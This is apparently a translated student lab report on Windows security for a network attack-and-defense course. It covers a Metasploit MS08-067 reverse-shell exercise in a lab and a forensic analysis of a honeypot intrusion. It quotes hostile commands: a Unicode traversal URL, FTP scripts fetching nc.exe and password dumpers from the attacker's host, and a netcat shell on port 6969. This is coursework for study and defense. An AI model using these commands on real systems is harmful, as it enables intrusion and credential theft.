20199324 2019-2020-2 "Asignación de red y práctica de defensa" Asignación de la semana 7

Descripción del puesto

A qué curso pertenece esta tarea: enlace del curso

Dónde están los requisitos para esta asignación: enlace a la solicitud de asignación

Mi objetivo en este curso es: aprender y practicar tecnologías relacionadas con el ataque y la defensa de la red.

¿En qué aspecto específico esta tarea me ayuda a lograr mi objetivo: aprender la tecnología de defensa y ofensiva del sistema operativo Windows?

Tarea

1. Practica contenido + resumen de puntos de conocimiento

Marco básico del sistema operativo Windows

  • Ventanas en su conjunto de modo de núcleo (kernel Model) y el modo de usuario (User Model).

  • En general, la CPU tiene múltiples capas privilegiadas, y la 386CPU de Intel tiene 4 capas privilegiadas, desde la capa 0 hasta la capa 3. Entre ellos, la capa 0 tiene el privilegio más alto, es decir, puede ejecutar código arbitrario, y la capa 3 tiene el privilegio más bajo, y solo puede ejecutar código limitado.

  • Windows ejecuta el modo kernel en la capa 0 de la CPU y el modo de usuario en la capa 3 de la CPU. El modo Kernel ejecuta código central, que es seguro y no está sujeto a ataques maliciosos. Las aplicaciones que se ejecutan en modo de usuario son las menos seguras y vulnerables a los ataques, por lo que los permisos de las aplicaciones están restringidos.

  • Diagrama esquemático de la organización básica del sistema operativo Windows.

  • Proceso de Windows y mecanismo de gestión de subprocesos : Windows trata el proceso como un contenedor en el momento de la ejecución del programa ejecutable, incluido un descriptor de espacio de memoria virtual privada, una lista de identificadores de objetos de recursos del sistema, un token de acceso de seguridad con permiso para ejecutar la cuenta de usuario y registra el proceso ID y su ID de proceso principal y otra información, y contiene al menos un hilo de ejecución como el cuerpo de ejecución interno del proceso. Subproceso como un portador específico para la ejecución de instrucciones, su bloque de control de subprocesos TCB contiene la información de contexto de la ejecución del programa.

  • Mecanismo de administración de memoria de Windows : el espacio de memoria virtual de Windows se divide en el intervalo de memoria central del sistema y el intervalo de memoria del usuario. Para los sistemas Windows de 32 bits, el intervalo de 2GB ~ 4GB es la memoria central del sistema, y ​​el intervalo de 0GB ~ ​​2GB es la memoria del modo de usuario.

  • Mecanismo de administración de archivos de Windows : el sistema de Windows utiliza el sistema de archivos NTFS, que se basa en listas de control de acceso de ACL para garantizar la seguridad de la lectura / escritura de recursos de archivos. El archivo ejecutable en Windows utiliza el formato PE, que se compone principalmente de encabezado DoS, encabezado PE, tabla de segmentos y segmento de código específico y segmento de datos.

  • Mecanismo de administración del registro de Windows : se puede acceder al registro de Windows y modificarlo a través de la herramienta de edición de búsqueda del registro regedit.exe del sistema u otras herramientas de terceros, y herramientas como RegMon se pueden usar para monitorear las operaciones de lectura y escritura del registro del sistema.

  • Mecanismo de red de Windows : los módulos de componentes de red de Windows incluyen varios controladores de dispositivos de hardware de tarjeta de red, biblioteca NDIS y controladores de minipuerto, capa de transporte TDI (controlador de protocolo de red), DLL de API de red y cliente TDI, aplicaciones de red y procesos de servicio. Vea la tabla a continuación para más detalles:

Módulo de componentes de red de Windows Equivalente a siete capas de OSI Descripción
Controladores para cada dispositivo de hardware de tarjeta de red Capa física Generalmente proporcionado por terceros fabricantes de hardware
Biblioteca NDIS y controlador mimiport Capa de enlace Interfaces de encapsulación construidas entre diferentes controladores de tarjetas de red y capas de transporte TDI
Capa de transporte TDI (controlador de protocolo de red) Capa de red, capa de transporte Al realizar de forma transparente una serie de operaciones, como la fragmentación y el reensamblaje, la confirmación del pedido y la retransmisión, proporciona un soporte conveniente para aplicaciones de red de capa superior
API de red DLL y cliente TDI Capa de sesión, capa de presentación El API de red DLL proporciona a la aplicación interacción e implementación de red independientemente del protocolo específico. El cliente TDI es la implementación específica de la interfaz API de red
Programa de servicio de aplicaciones de red y proceso de servicio Capa de aplicación Darse cuenta de las funciones de interacción y comunicación de la red.

Arquitectura y mecanismo de seguridad del sistema operativo Windows

Arquitectura de seguridad

  • La arquitectura de seguridad de Windows se basa en el modelo clásico de seguridad de los monitores de referencia.
  • En su núcleo se encuentra el monitor de referencia de seguridad SRM ubicado en el núcleo y el servicio de seguridad LSASS ubicado en el modo de usuario. Junto con Winlogin / Eventlog y Eventlog y otros servicios relacionados, implementan el mecanismo de autenticación de identidad para el usuario sujeto y todos los objetos de recursos. Mecanismo de control de acceso y mecanismo de auditoría de seguridad para el acceso.
  • Diagrama esquemático de la arquitectura de seguridad del sistema de Windows:

Mecanismo de autenticación de identidad

  • Temas de seguridad: usuarios, grupos de usuarios, computadoras
  • Para cada sujeto de seguridad, se identifica mediante un identificador de seguridad SID único globalmente en tiempo y espacio.
  • Windows configura cuentas para cada usuario y computadora para administrar, y establece límites de cuenta para cada cuenta para limitar el acceso de los programas que se ejecutan en estas cuentas a los objetos de recursos del sistema. Al agregar cuentas de usuario a grupos de usuarios específicos, Puede hacer que el usuario tenga todos los permisos configurados por el grupo de usuarios, reduciendo la carga de trabajo del control de límite.
  • La contraseña de la cuenta de usuario de Windows está encriptada y almacenada en el SAM o Active Directory AD. Solo la cuenta LocalSystem puede leerla, pero los hackers han encontrado una tecnología que puede volcar SAM de la memoria.
  • El proceso Winlogon, la ventana de inicio de sesión gráfica de GINA y el servicio LSASS cooperan para completar el proceso de autenticación de identidad local. El proceso de autenticación de identidad de red está dirigido por el módulo Netlogon del servicio LSASS.

Autorización y mecanismo de control de acceso

  • El mecanismo de autorización y control de acceso de Windows se basa en el modelo de monitor de referencia. Lo implementa el módulo SRM en el núcleo y el servicio LSASS en modo de usuario. SRM se utiliza como intermediario cuando el sujeto de seguridad accede al recurso objetivo de acuerdo con la lista de control de acceso establecida Autorizar acceso.
  • Todos los recursos en el sistema que deben protegerse se abstraen en objetos: archivos, directorios, claves de registro, objetos del núcleo, objetos de sincronización, objetos privados, tuberías, memoria e interfaces de comunicación.
  • Cada objeto está asociado con un descriptor de seguridad SD: SID del propietario, SID del grupo, lista de control de acceso autónomo DACL, lista de control de acceso de auditoría del sistema SACL.
  • El mecanismo básico de control de acceso y el modelo de seguridad de objetos del sistema Windows se muestran en la siguiente figura:

Mecanismo de auditoria de seguridad

  • El servicio LSASS guarda la estrategia de auditoría. Cuando SRM realiza la autorización de acceso a objetos, también envía registros de auditoría al servicio LSASS, y luego el servicio EventLog escribe los registros.

Otros mecanismos de seguridad

  • Centro de seguridad (firewall, parche, protección antivirus), mecanismo de carga y verificación de IPsec, sistema de archivos cifrados EPS, mecanismo de protección de archivos, protección de privacidad y mecanismo de protección de seguridad del navegador proporcionado por el navegador IE incluido, etc.

Tecnología de defensa y ataque de seguridad remota de Windows

  • En la actualidad, la tecnología de ataque remoto de Windows tiene las siguientes categorías:
    • Adivinación remota de contraseña y ataques de craqueo
    • Atacar los servicios de red de Windows
    • Ataque a clientes y usuarios de Windows

Ataque remoto de Windows para adivinar contraseña y ataque

  • Adivinación de contraseña remota:
    • Canal de ataque: protocolo SMB, otros incluyen servicio WMI, servicio de terminal de escritorio remoto TS, servicio de base de datos mysql, SharePoint.
    • Herramientas: Legion, enum, smbgrind, NTScan, XScan, streamer, versión china de NTScan.
    • Justificación: antes de que el servicio SMB decida otorgar a los usuarios de la red acceso a los archivos o impresoras compartidos solicitados, primero se autenticará. En este momento, el usuario ingresa la contraseña correcta y el atacante realiza un ataque remoto de adivinación de contraseña en el sistema. Debido a la gran cantidad de contraseñas débiles en el sistema, es posible adivinar la contraseña de forma remota.
  • Comunicación remota de intercambio de contraseñas para espiar y descifrar:
    • Canales de ataque: debilidades de los protocolos de autenticación de red NTLM, LanMan, NTLMV2 y kerberos.
    • Herramientas: L0phtcrack, Caín y Abel
  • Medidas de prevención remota de descifrado y descifrado de contraseñas: intente cerrar servicios de red vulnerables innecesarios, configure el firewall del host para restringir ciertos servicios portuarios, el firewall de la red para restringir el acceso a estos servicios, desactive Lanman y NTLM obsoletos y con fallas de seguridad Estrategia de contraseña segura.

Servicio de red de Windows ataque de penetración remota

  • Tipo:
    • Ataques contra servicios NETBIOS (soporte básico para redes LAN de Windows).
    • Ataques contra servicios SMB.
    • Ataques contra servicios de MSRPC (llamadas a procedimiento remoto).
    • Ataque de penetración remota contra la red de Microsoft en el sistema Windows.
    • Ataques de penetración remota contra servicios de terceros en sistemas Windows.
  • Medidas preventivas: reduzca la aparición de vulnerabilidades de seguridad desde las raíces del diseño y desarrollo, repare oportunamente vulnerabilidades de parches, actualice y aplique parches de seguridad de software lo más rápido posible; Durante el tiempo de vulnerabilidad, el administrador debe probar el servidor sensible a la seguridad e implementar la configuración de mitigación de ataques disponible lo antes posible; use la lista de verificación de seguridad provista por el proveedor del software de servicio y la comunidad para configurar la seguridad del servicio, usar algunos complementos de seguridad y usar software de escaneo de vulnerabilidad Escanea vulnerabilidades y arréglalas a tiempo.

Prueba de penetración Metasploit:

  • Archivos de biblioteca básicos: incluidos Rex, framework-core y framework-base.
  • Módulos: módulo auxiliar, módulo de ataque de penetración (activo y pasivo), módulo de carga de ataque (para hacer que el sistema objetivo se ejecute después de un ataque de penetración exitoso), módulo de comando nulo, módulo codificador, módulo de post-penetración (para obtener información confidencial)

Sistema de Windows de seguridad local de ataque y tecnología de defensa

  • Escalada de privilegios locales de Windows
    • Hay tres métodos comunes de escalada de privilegios locales: escalada de privilegios de desbordamiento, configuración incorrecta del sistema de Windows y escalada de privilegios de tareas programadas.
    • Medidas preventivas: parches oportunos y seguimiento de las advertencias de seguridad del fabricante.
  • Robo de información confidencial de Windows
    • Incluyendo tecnología de extracción de texto cifrado de contraseña del sistema de Windows, tecnología de descifrado de palabras de contraseña del sistema de Windows, robo de información confidencial del usuario y otros medios
    • Precauciones: use contraseñas de alta seguridad que puedan resistir las grietas
  • ventanas borrar rastro
    • Los medios principales incluyen, cerrar la función de auditoría, limpiar el registro de eventos.
    • Precauciones: implemente las funciones de auditoría del sistema y del servicio de red, y transfiera los registros a un servidor seguro.
  • Mando a distancia y puerta trasera
    • Los medios principales incluyen la implantación de programas de control remoto y de puerta trasera de terceros en el host controlado, incluidos principalmente los programas de control remoto de línea de comandos y los programas de control remoto gráfico.
    • Medidas preventivas: utilice algún software de detección de puerta trasera para intentar encontrar el programa de puerta trasera oculto por el atacante.

2. Proceso de práctica

Práctica práctica: Metasploit Windows Attack

  • Tarea : Utilice el software Metasploit para el experimento de ataque de penetración remota de Windows
  • Contenido de la tarea específica : utilice la máquina de ataque Windows Attacker / BT4 para intentar un ataque de penetración remota en la vulnerabilidad MS08-067 en la máquina de destino de Windows Metasploitable para obtener acceso al host de destino.
  • Pasos de práctica :
    • Inicie el software metasploit, use uno de msfconsole, msfgui, msfweb según su preferencia personal;
    • Utilice exploit: windows / smb / ms08_067_netapi módulo de ataque de penetración;
    • Elija atacar PAYLOAD como un shell remoto (hacia adelante o hacia atrás; ambos se pueden conectar);
    • Establecer parámetros de ataque de penetración (RHOST, LHOST, TARGET, etc.);
    • Realizar ataques de penetración;
    • Verifique si el shell remoto se obtuvo correctamente y verifique los permisos obtenidos.
Ambiente experimental ip
Máquina de ataque kali 192.168.200.3
Máquina de destino Win2KServer 192.168.200.124
  • Use el siguiente comando para ingresar a Metasploit en la terminal de la máquina de ataque Kali:
sudo su
sudo apt-get install metasploit-framework
msfconsole

  • Utilice el comando search ms08_067para ver detalles de la vulnerabilidad, encontrar módulo de ósmosis relevante en la biblioteca de explotación de los resultados, como se muestra a continuación, los ataques de penetración disponibles contra el módulo de la vulnerabilidad

  • Luego de comandos use exploit/windows/smb/ms08_067_netapidice kali Vamos a ms08_067 vulnerabilidades de destino

  • Uso de comandos show payloadsincluye todos los módulos de carga aplicables, ver el ataque de carga activa

  • Opción 3, conexión inversa. Usando el comando set PAYLOAD generic/shell_reverse_tcpcarga establecida del ataque TCP conexión inversa

  • Utilice el comando show optionspara ver los datos de ataque, tenemos que establecer un indicador como se muestra en la figura.

  • Los ataques de penetración de configuración del módulo y los parámetros de ataque necesarias para el módulo de carga, con set LHOST 192.168.200.3la dirección de máquina de ataque kali, set RHOST 192.168.200.124como la dirección drone, de nuevo con la show optionsvista la lista actual de parámetros y el dispositivo predeterminado,

  • Comando show targetspara ver el tipo de sistema operativo se puede ajustar, set TARGET 0la selección de la plataforma del sistema operativo de destino, como auto 0

  • Utilice el comando exploitcomenzó a penetrar, tales como el proceso por un largo tiempo, tanto tiempo que pensé que no era un experimento fallido. . .

  • Luego me quedé en la interfaz de la última imagen, presioné Enter y ¡mostró éxito! Uso ipconfigde comandos de autenticación es exitosa, el ataque fue un éxito.

Práctica práctica de análisis forense de trabajo: decodificación de un ataque exitoso de craqueo del sistema NT

  • Título : Un atacante de 213.116.251.162 comprometió con éxito un host honeypot 172.16.1.106 (nombre de host: lab.wiretrip.net) desplegado por rfp, basado en el archivo de registro binario snort-0204 @ 0117 de todo el proceso de ataque. registrar, extraer y analizar todo el proceso del ataque.
    • ¿Qué herramientas de crack usó el atacante para atacar?
    • ¿Cómo utilizó el atacante esta herramienta de craqueo para ingresar y controlar el sistema?
    • ¿Qué hizo el atacante después de obtener acceso al sistema?
    • ¿Cómo podemos prevenir tales ataques?
    • ¿Crees que el atacante está alerta de que su objetivo es un host honeypot? Si es así, ¿por qué?

¿Qué herramientas de crack usó el atacante para atacar?

  • Abrir archivo binario con wireshark
  • ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106 Filtrarlo y ver los paquetes entre el atacante y el objetivo.
  • Se puede ver que el atacante y el host de destino han establecido una conexión después del "protocolo de enlace de tres" TCP. Se descubre que después del protocolo de enlace de tres vías, el atacante primero accedió a la máquina de destino http://lab.wiretrip.net/Default.htm, y el sistema operativo de la máquina de destino es Windows NT 5.0
  • Después de eso, la máquina de ataque ha estado enviando solicitudes http get al host de destino para obtener recursos. Al principio, el contenido de get es algunas imágenes gif. En la línea 76, aparece el archivo default.asp.

ASP significa "Página dinámica del servidor", y es lo mismo que el popular PHP en el lenguaje de scripts de fondo. El servidor requerido para ejecutar el archivo ASP es el servidor IIS.

  • Vaya a la línea 117 y encuentre GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1
  • Descripción aviones de ataque http://lab.wiretrip.net/guest/default.aspfueron Unicodecodificados ataque y volvió a abrir los archivos de arranque del sistema NT boot.ini, debido a %C0%AFque /la codificación Unicode.
  • Luego observamos que los números 130, 140 y 149 estaban contenidos msadc, y el siguiente contenido se encontró en el paquete de datos 149:
  • Por atacantes msadcs.dllpresencia RDS vulnerabilidad a ataques de inyección SQL y ejecutar el comando cmd /c echo werd >> c:\fun, que se caracteriza por una cadena ADM!ROX!YOUR!WORLDaparece varias veces, de acuerdo a la información puede consultar a ser iniciado por msadc herramientas (2) .pl la penetración de ataque para atacar.

¿Cómo utilizó el atacante esta herramienta de craqueo para ingresar y controlar el sistema?

  • Retire las condiciones de filtro, continúe a mirar hacia abajo de la sesión 1778-80se inició, mediante el seguimiento del flujo TCP, seguido de instrucciones que se encuentran
SESSION:1778-80   cmd /c echo user johna2k > ftpcom
SESSION:1780-80   cmd /c echo hacker2000 > ftpcom
SESSION:1782-80   cmd /c echo get samdump.dll > ftpcom
SESSION:1784-80   cmd /c echo get pdump.exe > ftpcom
SESSION:1786-80   cmd /c echo get nc.exe > ftpcom
SESSION:1789-80   cmd /c echo quit >> ftpcom
SESSION:1791-80   cmd /c ftp -s:ftpcom -n www.nether.net
  • De estas instrucciones se puede ver que la máquina atacante está tratando de usar ftp para conectarse a la máquina de destino, y creó el script ftpcom, y usando ftp para conectarse a www.nether.net, intentando descargar samdump.dll, pdump.exe y nc.exe (herramienta de ataque)

  • Después de la sesión 1791-80, los datos 308 comenzaron a aparecer ftp, el atacante comenzó a realizar la conexión ftp, el seguimiento del flujo TCP, puede ver que el atacante intentó conectarse al servidor FTP, pero falló

  • Filtrando directamente ftp, puede ver que en el número 1106, el atacante se conectó con éxito al servidor FTP.

  • Luego, al observar las instrucciones emitidas por el atacante antes del número 1106, se descubrió que el atacante usó un ataque de vulnerabilidad Unicode (tal vez el atacante intentó varios ataques de penetración de ataque RDS sin éxito, y recurrió a un ataque Unicode), siguiendo el flujo TCP Y descubrió que el atacante envió el siguiente comando.

SESSION:1874-80   copy C:\winnt\system32\cmd.exe cmd1.exe
SESSION:1875-80   cmd1.exe /c open 213.116.251.162 >ftpcom
SESSION:1876-80   cmd1.exe /c echo johna2k >>ftpcom
SESSION:1877-80   cmd1.exe /c echo haxedj00 >>ftpcom
SESSION:1879-80   cmd1.exe /c echo get nc.exe >>ftpcom
SESSION:1880-80   cmd1.exe /c echo get pdump.exe >>ftpcom
SESSION:1881-80   cmd1.exe /c echo get samdump.dll >>ftpcom
SESSION:1882-80   cmd1.exe /c echo quit >>ftpcom
SESSION:1885-80   cmd1.exe /c ftp -s:ftpcom
  • Observando el número 1224 hacia atrás, el atacante ejecutó el comando cmd1.exe /c nc -l -p 6969 -e cmd1.exe. Indica que el atacante se conectó al puerto 6969 (sesión 1887-80) y obtuvo acceso. En este punto, el atacante ha completado el proceso de ingresar al sistema y obtener acceso.

¿Qué hizo el atacante después de obtener acceso al sistema?

  • Con la condición tcp.port == 6969proyectado para ver si el atacante obtener acceso al sistema para realizar un seguimiento de lo que se ha hecho sobre el flujo TCP:

  • Primero, el atacante realizó algunas operaciones comunes, como ver archivos y permisos, y eliminar secuencias de comandos. Al ver que el atacante quiere obtener privilegios de administrador local, ejecutar net session(enumerar sesiones) pero tiene acceso limitado y ejecuta net users, solo hay un administrador en la lista de usuarios devuelto al host.

  • A continuación, el atacante envió un mensaje de eco al archivo del directorio raíz de la unidad C

  • Seguido de otro intento de net groupver el grupo de usuarios, net localgroupver el grupo de usuarios locales, y net group domain adminsver el grupo de administradores, pero éstos han fracasado.

  • Los intentos de usar pdump para descifrar contraseñas parecen haber fallado. El atacante se rindió y eliminó samdump y pdump

¿Cómo podemos prevenir tales ataques?

  • Parchear estas vulnerabilidades.
  • Deshabilite servicios como RDS innecesarios.
  • El firewall bloquea las conexiones iniciadas por los servidores dentro de la red.
  • Establezca el directorio raíz virtual en un volumen de archivo separado para el servidor web.
  • Use el sistema de archivos NTFS porque FAT proporciona pocas características de seguridad.
  • Use herramientas como IIS Lockdown y URLScan para fortalecer el servidor web.

¿Crees que el atacante está alerta de que su objetivo es un host honeypot? Si es así, ¿por qué?

  • El atacante sabía que su objetivo era un host honeypot, porque el atacante ingresó lo siguiente en la secuencia TCP. C:>echo best honeypot i've seen till now :) > rfp.txt

Práctica práctica de confrontación entre equipos de trabajo: ataque y análisis de penetración remota del sistema Windows

  • Titulo :

    • El atacante usa metasploit y selecciona las vulnerabilidades en metasploitable para realizar ataques de penetración y obtener control;
    • El defensor utiliza wireshark para monitorear y obtener el archivo de paquete del ataque de red, y analiza el proceso de ataque en combinación con wireshark para obtener la dirección IP del atacante, la dirección IP de destino y el puerto, el tiempo de inicio del ataque, la vulnerabilidad de explotación del ataque, el código de shell de ataque utilizado y después del éxito del ataque. Información de entrada para comandos ejecutados localmente.
  • Y la primera práctica, como en la entrada exploitantes del ataque, Wireshark abierta escucha atacante kali. (Dado que la máquina de destino no tiene wireshark, elegí utilizar wireshark en kali para monitorear. El efecto es el mismo)

  • Se puede ver que después del protocolo de enlace de tres vías TCP, se enviaron muchos paquetes SMB, suponiendo que se trataba de una vulnerabilidad MS08-067. Esto es debido a la vulnerabilidad es a través de MS08_067 MSRPC over SMBservicio de rutina canal de llamada del servidor NetPathCanonicalizafunción, hay un error lógico esta función se acumulará de desbordamiento del búfer, por lo que un atacante obtener la ejecución remota de código.

  • A partir de los resultados de captura de paquetes, podemos analizar:

    • Máquina de ataque :, 192.168.200.3puerto 36537:; máquina de destino :, 192.168.200.124puerto:445
    • Tiempo de inicio del ataque: a partir de la consulta del protocolo ARP;
  • Vulnerabilidades explotadas por el ataque: vulnerabilidades dirigidas a servicios de red SMB; vulnerabilidades de denegación de servicio del analizador DCERPC; vulnerabilidades de falsificación del servicio de impresión SPOOLSS (MS10-061)

  • Ingrese en la máquina de destino ipconfig, rastree el flujo de datos TCP en wireshrak y encuentre este comando, puede ver la información de entrada del comando ejecutado localmente:

3. Problemas encontrados en el aprendizaje y las soluciones.

  • Pregunta 1: La práctica de decodificar un ataque exitoso de craqueo del sistema NT es demasiado difícil. . .
  • Solución del problema 1: aprenda más.

4. Resumen de la práctica

Referencias

Supongo que te gusta

Origin www.cnblogs.com/yangdd/p/12709877.html
Recomendado
Clasificación